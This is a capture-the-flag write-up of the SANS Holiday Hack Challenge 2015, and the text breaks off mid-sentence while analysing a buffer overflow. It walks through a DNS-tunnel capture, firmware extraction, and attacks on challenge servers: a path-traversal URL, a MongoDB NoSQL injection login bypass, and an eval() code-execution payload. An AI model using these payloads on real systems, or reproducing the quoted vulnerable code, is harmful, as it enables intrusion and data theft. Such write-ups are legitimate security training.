SANS Holiday Hack Challenge 2015 writeup
In December 2015, the SANS institute released the Holiday Hack Challenge 2015. A whole storyline was created around the ATNAS corporation and their nefarious plans for Christmas.
The hack challenge featured a gaming component, the quest, where you were placed in the Dosis neighborhood. During the quest you are asked to solve hacking challenges and attack real (approved) targets.
Creating a whole game around this must have taken a lot of time. Kudos to the developers and people who made this possible. Without further ado, I would like to share what I found during the quest!
Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets
In the Dosis neighbourhood we talk to Josh who asks us to take a look at the network capture file giyh-capture.pcap. After taking a quick look through the pcap file with Wireshark, we notice that a lot of DNS packets are present. In Wireshark we can get a protocol breakdown via the Statistics > Protocol Hierarchy
menu:
The DNS packets seem to be all TXT requests. DNS TXT “text” records are used to associate extra information with a host. One of TXT records’ best known uses is the setting of SPF records for preventing mail spoofing. TXT records have many other uses: for example, if you are enrolling a domain in Google Apps, Google will ask you to set a specific TXT record in order to verify that you are the actual owner of the domain.
In this case, the DNS TXT records seem to be used as a covert way of transfering data. This is a common technique: many TCP-over-DNS tools exist that allow you to tunnel traffic via DNS requests. This is extremely helpful in situations where your internet connection is restricted (e.g. paid Wi-Fi hotspots) but DNS is still working. During my studies in France I was using a tool called tcp-over-dns
for accomplishing this. The more popular alternative seems to be iodine
nowadays 🙂
If we take a closer look into the contents of the TXT records, we can see data that appears to be base64-encoded. We can use tshark
, the command-line version of Wireshark to extract the data and base64-decode all the records. I invoke tshark
with a display filter on DNS packets and extract the TXT fields. I then pipe each line of the output to the base64-decode command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
$ tshark -Y dns -T fields -e dns.txt -r giyh-capture.pcap | while read txt; do echo $txt | base64 -d; done
NONE:NONE:NONE:NONE:NONE:NONE:NONE:EXEC:iwconfig
EXEC:START_STATEEXEC:wlan0 IEEE 802.11abgn ESSID:"DosisHome-Guest"
EXEC: Mode:Managed Frequency:2.412 GHz Cell: 7A:B3:B6:5E:A4:3F
EXEC: Tx-Power=20 dBm
EXEC: Retry short limit:7 RTS thr:off Fragment thr:off
EXEC: Encryption key:off
EXEC: Power Management:off
EXEC:
EXEC:lo no wireless extensions.
EXEC:
EXEC:eth0 no wireless extensions.
EXEC:STOP_STATENONE:NONE:NONE:EXEC:cat /tmp/iwlistscan.txt
EXEC:START_STATEEXEC:wlan0 Scan completed :
EXEC: Cell 01 - Address: 00:7F:28:35:9A:C7
EXEC: Channel:1
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=29/70 Signal level=-81 dBm
EXEC: Encryption key:on
EXEC: ESSID:"CHC"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
EXEC: 9 Mb/s; 12 Mb/s; 18 Mb/s
EXEC: Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=000000412e67cddf
EXEC: Extra: Last beacon: 5408ms ago
EXEC: IE: Unknown: 00055837335A36
EXEC: IE: Unknown: 010882848B960C121824
EXEC: IE: Unknown: 030101
EXEC: IE: Unknown: 200100
EXEC: IE: IEEE 802.11i/WPA2 Version 1
EXEC: Group Cipher : CCMP
EXEC: Pairwise Ciphers (1) : CCMP
EXEC: Authentication Suites (1) : PSK
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 32043048606C
EXEC: IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00
EXEC: IE: Unknown: 2D1A8C131BFFFF000000000000000000000000000000000000000000
EXEC: IE: Unknown: 3D1601080800000000000000000000000000000000000000
EXEC: IE: Unknown: DD0900037F01010000FF7F
EXEC: IE: Unknown: DD0A00037F04010000000000
EXEC: IE: Unknown: 0706555320010B1B
EXEC: Cell 02 - Address: 48:5D:36:08:68:DC
EXEC: Channel:6
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=59/70 Signal level=-51 dBm
EXEC: Encryption key:on
EXEC: ESSID:"DosisHome"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s
EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=00000021701d828b
EXEC: Extra: Last beacon: 4532ms ago
EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572
EXEC: IE: Unknown: 010882848B962430486C
EXEC: IE: Unknown: 030106
EXEC: IE: Unknown: 0706555320010B1E
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 2F0100
EXEC: IE: IEEE 802.11i/WPA2 Version 1
EXEC: Group Cipher : CCMP
EXEC: Pairwise Ciphers (1) : CCMP
EXEC: Authentication Suites (1) : PSK
EXEC: Cell 03 - Address: 48:5D:36:08:68:DD
EXEC: Channel:6
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=62/70 Signal level=-49 dBm
EXEC: Encryption key:off
EXEC: ESSID:"DosisHome-Guest"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s
EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=00000021701d8913
EXEC: Extra: Last beacon: 5936ms ago
EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572
EXEC: IE: Unknown: 010882848B962430486C
EXEC: IE: Unknown: 030106
EXEC: IE: Unknown: 0706555320010B1E
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 2F0100
EXEC:STOP_STATENONE:NONE:NONE:NONE:FILE:/root/Pictures/snapshot_CURRENT.jpg
FILE:START_STATE,NAME=/root/Pictures/snapshot_CURRENT.jpgFILE:
----binary snipped----
|
We can now clearly spot the UNIX commands from the output. If we scroll a bit further down, we run into a blob of binary. I replaced all non-printable characters with a dot using the tr
command. It appears that the JPEG file /root/Pictures/snapshot_CURRENT.jpg
is being transfered.
Seems like the file is split over multiple DNS packets and we’ll have to strip out the “FILE:” markers. I proceed by piping the output to the foremost
tool, which will try to carve JPEG files from the input stream. (Not that it would be a lot of effort doing it manually, but a good hacker should be lazy.) You can also do this with binwalk
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
$ cat extracted | sed 's/FILE://g' | foremost -T -t jpeg -v -o /tmp/jpg
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Fri Jan 1 20:26:51 2016
Invocation: foremost -T -t jpeg -v -o /tmp/jpg
Output directory: /tmp/jpg_Fri_Jan__1_20_26_51_2016
Configuration file:
Processing: stdin
|------------------------------------------------------------------
File: stdin
Start: Fri Jan 1 20:26:51 2016
Length: Unknown
Num Name (bs=512) Size File Offset Comment
0: 00000008.jpg 91 KB 4480
*|
1 FILES EXTRACTED
jpg:= 1
------------------------------------------------------------------
Foremost finished at Fri Jan 1 20:26:51 2016
|
The result is the following gnome, captioned “GnomeNET-NorthAmerica”. This answer is accepted by Josh.
Now to answer the questions:
-
Which commands are sent across the Gnome’s command-and-control channel?
- iwconfig
- cat /tmp/iwlistscan.txt
-
What image appears in the photo the Gnome sent across the channel from the Dosis home?
- A gnome on a chair in a room. The image seems to be taken from the eye of the gnome, where the camera would be hidden. The camera image is captioned “GnomeNET-NorthAmerica”.
Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit
From Jessica we obtain the Gnome firmware image giyh-firmware-dump.bin.
For this, we can use firmware-mod-kit. This toolkit allows you to unpack many firmware images. I noticed it hasn’t been updated in a while now. It basically does a binwalk
on the image and then extracts the relevant parts, invoking extra tools (such as unsquashfs
) where needed.
Simply run the extract-firmware.sh
script on the firmware image:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$ ./extract-firmware.sh giyh-firmware-dump.bin
Scanning firmware...
Scan Time: 2016-01-01 20:06:43
Signatures: 193
Target File: /home/pen/Documents/hhc/firmware-mod-kit-master/giyh-firmware-dump.bin
MD5 Checksum: c8dbb1832250f6bb957a901d186f3355
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
0 0x0 PEM certificate
1809 0x711 ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
167521 0x28E61 LZMA compressed data, properties: 0x0B, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes
168157 0x290DD LZMA compressed data, properties: 0x01, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes
168803 0x29363 Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 17376149 bytes, 4866 inodes, blocksize: 131072 bytes, created: Tue Dec 8 19:47:32 2015
Extracting 168803 bytes of pem header image at offset 0
Extracting squashfs file system at offset 168803
Extracting 2720 byte footer from offset 17546020
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/*'
|
Having a look into the extracted file system, we see the usual Linux file system. Based on the etc/openwrt_*
files, it looks like this is a modified OpenWRT firmware image.
Furthermore, based on the output of the file
command on a binary, we can see that the code was compiled for the ARM architecture.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
$ cat etc/openwrt_*
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''
r47650
$ file bin/ash
bin/ash: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ find . -type f -newermt "2015-11-29" | grep -v "rc\.d"
./usr/sbin/autowlan
./usr/bin/sgstatd
./etc/hosts
./etc/init.d/autowlan
./etc/gnome.conf
./www/bin/www
./www/views/layout.jade
./www/views/files.jade
./www/views/cameras.jade
./www/views/login.jade
./www/views/error.jade
./www/views/gnomenet.jade
./www/views/index.jade
./www/views/settings.jade
./www/views/network.jade
./www/routes/index.js
./www/package.json
./www/public/javascripts/bootstrap.min.js
./www/public/javascripts/jquery.min.js
./www/public/stylesheets/bootstrap.min.css
./www/public/stylesheets/bootstrap-theme.min.css
./www/public/stylesheets/style.css
./www/public/favicon.ico
./www/app.js
./opt/mongodb/local.ns
./opt/mongodb/local.0
./opt/mongodb/gnome.ns
./opt/mongodb/gnome.0
|
Looking around the files that have been changed recently, we can distinguish the following items:
-
/usr/bin/sgstatd
, a binary which we will look at more in-depth later -
/etc/hosts
, containing the following entry- 52.2.229.189 supergnome1.atnascorp.com sg1.atnascorp.com supergnome.atnascorp.com sg.atnascorp.com
-
/etc/gnome.conf
, containing the configuration for a Gnome running this firmware -
/www/
, NodeJS files, including Jade layout files and the /www/routes/index.js containing the controller logic -
/opt/mongodb/
, MongoDB database files
In www/package.json
we can see that the node
command can be used to run the website.
Let’s have a look at the contents of www/app.js
. This file contains the startup code of the NodeJS app.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var routes = require('./routes/index');
var mongo = require('mongodb');
var monk = require('monk');
var db = monk('gnome:KTt9C1SljNKDiobKKro926frc@localhost:27017/gnome')
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');
// -- snipped--
|
From this file we can deduce the following information about the web application:
- MongoDB is the underlying database
- Monk is used as a mongodb abstraction layer
- The MongoDB database username “gnome” and password “KTt9C1SljNKDiobKKro926frc”
- Express is used as the web application framework
- Jade is used as the template engine
Now let’s see what we can find in the database files in opt/mongodb
by starting the mongodb daemon using a different dbpath:
mongod --dbpath=opt/mongodb
.
Using the mongo
client we can then view the contents of the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
$ mongo
MongoDB shell version: 2.4.9
connecting to: test
> show dbs;
gnome 0.078125GB
local 0.078125GB
> use gnome;
switched to db gnome
> show collections;
cameras
settings
status
system.indexes
users
> db.cameras.find({}, {_id:0})
{ "cameraid" : 1, "tz" : -5, "status" : "online" }
{ "cameraid" : 2, "tz" : 5, "status" : "online" }
{ "cameraid" : 3, "tz" : -5, "status" : "online" }
{ "cameraid" : 4, "tz" : -5, "status" : "online" }
{ "cameraid" : 5, "tz" : -8, "status" : "online" }
{ "cameraid" : 6, "tz" : 9, "status" : "online" }
{ "cameraid" : 7, "tz" : -5, "status" : "online" }
{ "cameraid" : 9, "tz" : -4, "status" : "online" }
{ "cameraid" : 8, "tz" : -6, "status" : "online" }
{ "cameraid" : 10, "tz" : -5, "status" : "online" }
{ "cameraid" : 11, "tz" : 6, "status" : "online" }
{ "cameraid" : 12, "tz" : 7, "status" : "online" }
> db.settings.find({}, {_id:0})
{ "setting" : "Current config file:", "value" : "./tmp/e31faee/cfg/sg.01.v1339.cfg" }
{ "setting" : "Allow new subordinates?:", "value" : "YES" }
{ "setting" : "Camera monitoring?:", "value" : "YES" }
{ "setting" : "Audio monitoring?:", "value" : "YES" }
{ "setting" : "Camera update rate:", "value" : "60min" }
{ "setting" : "Gnome mode:", "value" : "SuperGnome" }
{ "setting" : "Gnome name:", "value" : "SG-01" }
{ "setting" : "Allow file uploads?:", "value" : "YES" }
{ "setting" : "Allowed file formats:", "value" : ".png" }
{ "setting" : "Allowed file size:", "value" : "512kb" }
{ "setting" : "Files directory:", "value" : "/gnome/1/files/" }
> db.status.find({}, {_id:0})
{ "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170332 }
{ "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170395 }
> db.users.find({}, {_id:0})
{ "username" : "user", "password" : "user", "user_level" : 10 }
{ "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 }
|
From the users collection we can identify two users, “user” and “admin” with their passwords in plaintext.
Now to answer some more questions:
-
What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
- OpenWRT, using an ARM CPU
- A NodeJS website that uses the ExpressJS web framework
-
What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
- MongoDB
- User “admin” with password “SittingOnAShelf”
Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt
In the etc/hosts
file we found the IP address 52.2.229.189. When asking the Great and Powerful Oracle, Tom Hessman, whether we can attack this IP, we get an approval!
There are five SuperGnomes that we need to find. The hint given for part 3 is to “sho Dan” our plan. This intentional typo points us to the usage of Shodan.
Looking up the IP address on Shodan, we can see the header X-Powered-By: GIYH::SuperGnome by AtnasCorp
. Let’s use the contents of this header to search for other SuperGnomes on the Internet. Using “GIYH::SuperGnome” as the search query, we find all five SuperGnomes. Their location is also indicated by Shodan:
Name | IP address | Location |
---|---|---|
SG-01 | 52.2.229.189 | United States, Ashburn |
SG-02 | 52.34.3.80 | United States, Boardman |
SG-03 | 52.64.191.71 | Australia, Sydney |
SG-04 | 52.192.152.132 | Japan, Tokyo |
SG-05 | 54.233.105.81 | Brazil |
The table above answers the following questions:
- What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
- Where is each SuperGnome located geographically?
Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage
The firmware image that we extracted earlier contains various vulnerabilities. Quoting the challenge: each SuperGnome has at least one flaw that can be identified by analysing the Gnome firmware and each SuperGnome is exploitable in a different way from the other SuperGnomes.
For each SuperGnome, I will try to solve the following questions:
- Please describe the vulnerabilities you discovered in the Gnome firmware.
- Attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
SG-01
When surfing to the SuperGnome’s web interface we can authenticate using the earlier identified credentials admin/SittingOnAShelf.
From the Files tab, we can access the following files:
20141226101055.zip
camera_feed_overlap_error.zip
factory_cam_1.zip
gnome.conf
gnome_firmware_rel_notes.txt
sgnet.zip
sniffer_hit_list.txt
The goal was to retrieve the gnome.conf for each SuperGnome. For SG-01 we don’t need to anything special and can just download it. We’ll revisit some of the other files in later stages. The vulnerability in this case could be seen as passwords being stored in plaintext in the MongoDB database.
1
2
3
4
5
6
7
8
9
10
11
12
|
Gnome Serial Number: NCC1701
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-01
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
|
The serial number is a Star Trek reference to the USS Enterprise NCC1701.
SG-02
We can again authenticate using the same administrative credentials. This time however, when attempting to download files from the Files tab, we get the error message “Downloading disabled by Super-Gnome administrator”:
In the Settings tab, an upload function is now available.
The settings upload functionality is implemented with the following code in routes/index.js
which we pulled from the firmware image:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
var filen = req.body.filen;
var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
var msgs = [];
var free = 0;
disk.check('/', function(e, info) {
free = info.free;
});
try {
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
} catch(e) {
if (e.code != 'EEXIST')
throw e;
}
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!');
}
res.msgs = msgs;
next();
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});
|
If we’re an admin, a new directory will be created that will look like /gnome/www/public/upload/{RANDOM}/{filen}/
, where filen
is our POST body parameter.
This allows us to create arbitrarily named directories. However, this vulnerability on its own is not enough to do something useful. Let’s keep looking.
In the cameras tab, we can see images of the gnomes sending captures to our SuperGnome.
I noticed that when adding .png
to the end of the camera
parameter, the camera image is still correctly displayed. Here’s the code for the camera image viewing in routes/index.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
var camera = unescape(req.query.camera);
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
}
});
fs.readFile('./public/images/' + camera, function (e, data) {
res.end(data);
});
});
|
This line was commented out, but the relevant vulnerability would be in if (camera.indexOf('.png') == -1)
. The code is only checking whether .png
is part of the string, but it could occur anywhere. Furthermore, in the fs.access
call, the camera
parameter is appended to the current path without any filtering. This is a typical path traversal vulnerability.
We can chain the previously identified vulnerability (arbitrary directory creation) and the new one (path traversal) together to show any file to our liking:
In the settings upload, I set the filename to test.png/
.
The newly generated directory is /gnome/www/public/upload/MZkBJaHV/test.png/
. Using this path, which includes “.png”, we can now bypass the filter and perform a path traversal attack.
Requesting http://52.34.3.80/cam?camera=../upload/MZkBJaHV/test.png/../../../../files/gnome.conf
will now show us the following gnome.conf file:
1
2
3
4
5
6
7
8
9
10
11
12
|
Gnome Serial Number: XKCD988
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-02
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
|
The serial number refers us to XCKD #988 🙂
SG-03
We cannot use our usual credentials to login to SG-03. We can authenticate using the other set of credentials (user/user), but it doesn’t allow us to do anything. Let’s go back to the source code!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
// LOGIN POST
router.post('/', function(req, res, next) {
var db = req.db;
var msgs = [];
db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
} else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });
res.end();
}
});
});
|
In the login function, we can see that user input is passed to the db.get('users').findOne
function. However, it is not escaping our input and directly passes any JavaScript object on to the database. Let’s see how we can exploit it. Your typical NoSQL injection will look as follows:
1
2
3
4
5
6
7
|
POST / HTTP/1.0
Content-type: application/json
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
|
This is equivalent to the SQL-like ' OR 1 --
injection. In this case we’re trying to query an account with username and password value greater than an empty string. Other operators also exist for which the complete list is available in the MongoDB manual.
In this case we want to get access to the admin’s user account. We can use the $eq
operator for this purpose and ask for the admin’s account specifically.
This is what happened on the server side:
1
2
3
4
5
6
7
|
> db.users.findOne({username: {"$eq": "admin"}, password: {"$gt": ""}})
{
"_id" : ObjectId("56229f63809473d11033515c"),
"username" : "admin",
"password" : "SittingOnAShelf",
"user_level" : 100
}
|
We obtain a redirect to the main page, indicating that the login was successful. When unsuccessful, an error message is shown instead. We can also see a new session cookie in the server’s response. This cookie holds the admin session. I usually set cookies via the browser’s JavaScript console as follows:
When refreshing the page, we now have a valid admin session and can view and download files from SG-03.
1
2
3
4
5
6
7
8
9
10
11
12
|
Gnome Serial Number: THX1138
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-03
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
|
The serial number is a reference to George Lucas’ first film.
SG-04
I had already spotted the vulnerability in the firmware code for this one before I accessed it. We can login using our usual credentials, and this time we will get remote code execution (RCE); yay!
In the files upload functionality, you can spot the usage of “eval”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
var msgs = [];
file = req.file.buffer;
if (req.file.mimetype === 'image/png') {
msgs.push('Upload successful.');
var postproc_syntax = req.body.postproc;
console.log("File upload syntax:" + postproc_syntax);
if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
msgs.push('Executing post process...');
var result;
d.run(function() {
result = eval('(' + postproc_syntax + ')');
});
// STUART: (WIP) working to improve image uploads to do some post processing.
msgs.push('Post process result: ' + result);
}
msgs.push('File pending super-admin approval.');
res.msgs = msgs;
} else {
msgs.push('File not one of the approved formats: .png');
res.msgs = msgs;
}
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
next();
});
|
In short: if we’re an admin, and the posted file’s MIME type is a PNG file, the postproc
POST variable will be eval()’ed as NodeJS code!
Using the following statement as postproc
POST variable, we can read the contents of our gnome.conf file:
1 |
fs.readFileSync("files/gnome.conf")
|
1
2
3
4
5
6
7
8
9
10
11
12
|
Gnome Serial Number: BU22_1729_2716057
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-04
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
|
You can also use this vulnerability to obtain a shell into the remote system. Consider the following example to execute the id
command on the remote server:
1 |
require('child_process').spawnSync("id").output
|
SG-05
And now for the icing on the cake, binary exploitation! We can login to the web interface using the usual credentials, but when attempting to download files, we obtain the following error: “File not found or access denied!”.
When exploring SG-01 we also found some other files, including sgnet.zip
. This zip file contains C source code.
In the first few lines of sgstatd, we find the following code:
1
2
3
4
|
//user to drop privileges to
const char *USER = "nobody";
//port to bind and listen on
const unsigned short PORT = 4242;
|
When attempting to connect to SG-05 on the target port 4242 we receive an options menu:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
$ nc 54.233.105.81 4242
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:
1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
1
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/xvda1 8115168 5044884 2635008 66% /
none 4 0 4 0% /sys/fs/cgroup
udev 502960 12 502948 1% /dev
tmpfs 101632 340 101292 1% /run
none 5120 0 5120 0% /run/lock
none 508144 0 508144 0% /run/shm
none 102400 0 102400 0% /run/user
$ nc 54.233.105.81 4242
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:
1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:58333 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:18333 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:17771 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:18444 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:17871 0.0.0.0:* LISTEN
tcp 0 0 172.31.32.97:8080 45.23.138.82:45793 SYN_RECV
tcp 0 0 172.31.32.97:8080 45.23.138.82:45789 SYN_RECV
tcp 0 0 172.31.32.97:8080 45.23.138.82:45790 SYN_RECV
tcp 0 0 172.31.32.97:8080 45.23.138.82:45791 SYN_RECV
tcp 0 0 172.31.32.97:8080 45.23.138.82:45792 SYN_RECV
tcp 0 0 0.0.0.0:4242 0.0.0.0:* LISTEN
tcp 0 0 172.31.32.97:4242 80.98.248.92:41785 CLOSE_WAIT
tcp 0 0 127.0.0.1:27017 127.0.0.1:36669 ESTABLISHED
tcp 0 0 127.0.0.1:36670 127.0.0.1:27017 ESTABLISHED
tcp 2 0 172.31.32.97:4242 39.109.139.56:50044 CLOSE_WAIT
tcp 0 0 172.31.32.97:4242 76.93.132.61:34930 CLOSE_WAIT
tcp 0 0 172.31.32.97:50097 46.11.125.19:80 ESTABLISHED
tcp 0 0 127.0.0.1:27017 127.0.0.1:36671 ESTABLISHED
tcp 0 0 172.31.32.97:4242 76.93.132.61:38962 CLOSE_WAIT
--snip--
|
Taking a closer look at the C code of sgstatd.c
, we can see a switch statement. Here’s that same code cleaned up in pseudo-C:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
switch (choice) {
case '1': // chr(49) = '1'
write(sd, execute("/bin/df"));
break;
case '2': // chr(50) = '2'
write(sd, execute("/bin/netstat -tan"));
break;
case '3': // chr(51) = '3'
write(sd, execute("/usr/bin/who"));
break;
case 'X': // chr(88) == 'X'
write(sd, "Hidden command detected!\n\n");
write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) => ");
sgstatd(sd);
write(sd, "\nRequest Completed!\n\n");
break;
default:
write(sd, "Invalid choice!\n");
}
|
It appears that there is a non-advertised fourth option, which gets triggered when we enter ‘X’.
This hidden command will call the function sgstatd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed
char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;
}
|
As we can see in the sgstatd
function, 200 bytes are read to the pointer &bin
using the sgnet_readn
function. However, only 100 bytes are allocated on the stack for bin
